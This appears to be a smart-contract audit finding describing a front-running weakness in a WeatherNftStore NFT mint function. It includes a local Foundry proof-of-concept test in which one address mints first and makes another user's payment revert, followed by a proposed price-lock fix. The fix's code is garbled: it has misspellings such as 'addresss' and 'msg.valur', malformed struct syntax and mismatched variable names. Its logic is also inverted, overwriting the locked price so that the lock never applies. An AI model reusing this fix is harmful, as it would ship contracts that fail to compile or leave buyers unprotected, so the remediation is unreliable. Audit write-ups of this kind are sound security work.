Root + Impact
The price for minting an NFT is checked and then immediately increased within the same transaction, creating a front-running vulnerability. Attackers can observe pending transactions and front-run them, causing legitimate users' transactions to fail due to insufficient payment.
Description
-
Users mint NFTs by sending the exact current price WeatherNftStore::s_currentMintPrice
, which should increase after each successful mint.
-
The price is verified before being increased in the same transaction, allowing attackers to front-run user transactions by submitting their own with higher gas fees, causing the original transactions to fail when the price has increased.
function requestMintWeatherNFT(
) external payable returns (bytes32 _reqId) {
@> require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
@> s_currentMintPrice += s_stepIncreasePerMint;
}
Risk
Likelihood:
-
MEV bots continuously monitor the mempool for such profitable front-running opportunities
-
During high demand periods, multiple users attempt to mint concurrently, creating more front-running targets
Impact:
-
Users pay gas for failed transactions without receiving an NFT
-
The minting process becomes frustrating and unreliable, damaging user experience and project reputation
Proof of Concept
This test demonstrates:
Initial setup similar to existing tests
The attacker observing the current mint price
The attacker front-running by submitting a transaction at that price
The price increasing after the attacker's transaction
The user's transaction failing because the price has increased
The user having to pay the higher price to successfully mint
function test_FrontRunningVulnerability() public {
address attacker = makeAddr("attacker");
vm.deal(attacker, 1000e18);
deal(address(linkToken), attacker, 1000e18);
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 initialPrice = weatherNft.s_currentMintPrice();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.stopPrank();
vm.startPrank(attacker);
linkToken.approve(address(weatherNft), initLinkDeposit);
weatherNft.requestMintWeatherNFT{value: initialPrice}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
uint256 newPrice = weatherNft.s_currentMintPrice();
console.log("Price after attacker's transaction:", newPrice);
console.log("Price increase:", newPrice - initialPrice);
vm.startPrank(user);
vm.expectRevert(WeatherNftStore.WeatherNft__InvalidAmountSent.selector);
weatherNft.requestMintWeatherNFT{value: initialPrice}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
vm.startPrank(user);
weatherNft.requestMintWeatherNFT{value: newPrice}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
console.log("Front-running attack successful - user forced to pay higher price");
}
Recommended Mitigation
Price Lock Mechanism
A more robust solution is implementing a price lock mechanism that allows users to secure the current price for a limited time:
+ Struct PriceLock {
+ uint256 price;
+ uint256 expiryTime;
+ bool isActive;
+ }
+ mapping(addresss => PriceLock) public s_userPriceLock;
+ uint256 public priceLockDuration = 5 minutes;
+ // Add a function to lock in the current price
+ function lockMintPrice() external returns (uint256) {
+ s_userPriceLock[msg.sender] = PriceLock({
+ price: s_currentMintPrice;
+ expiryTime = block.timestamp + priceLockDuration;
+ isActive = true;
+ })
+ }
function requestMintWeatherNft(// parameters) external payable returns (bytes32 _reqId) {
- require(msg.valur == s_currentMintPrice, WeatherNft__InvalidAmountSent());
+ uint256 priceToCheck = s_currentMintPrice;
+ // check if user have an active price lock
+ PriceLock storage userLock = s_userPriceLock[msg.sender];
+ if(userLock.isActive == true && block.timestamp <= userLock.expiryTime) {
+ userLock.price = priceToCheck;
+ userLock.isActive = false;
+ }
+ require(msg.value == priceToCheck, WeatherNft__InvalidAmountSent());
+ // Rest of function
+ }
+ // Owner function to update the lock duration
+ function setPriceLockDuration(uint256 newDuration) external onlyOwner {
+ s_priceLockDuration = newDuration;
+ }